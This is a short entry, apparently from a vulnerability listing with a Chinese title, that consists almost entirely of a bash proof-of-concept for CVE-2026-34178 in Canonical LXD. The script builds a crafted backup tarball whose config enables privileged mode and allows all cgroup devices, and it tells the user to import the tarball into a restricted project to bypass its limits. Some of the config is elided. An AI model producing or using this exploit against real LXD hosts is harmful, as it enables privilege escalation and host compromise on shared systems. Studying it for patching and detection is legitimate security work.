CVE-2026-34178 Canonical LXD项目限制绕过漏洞

#!/bin/bash # PoC for CVE-2026-34178: LXD Project Restriction Bypass # Description: Create a malicious backup tar to bypass project restrictions. mkdir -p poc_backup/instance/ # Create the malicious backup.yaml with privileged settings cat > poc_backup/instance/backup.yaml <<EOF config: security.privileged: "true" raw.lxc: "lxc.cgroup.devices.allow = a" ... EOF # Create a dummy index.yaml to pass initial validation cat > poc_backup/index.yaml <<EOF instances: - name: malicious_instance ... EOF # Package into tar archive tar -czf malicious_backup.tar.gz -C poc_backup . echo "Malicious backup created: malicious_backup.tar.gz" echo "Import this into a restricted LXD project to exploit."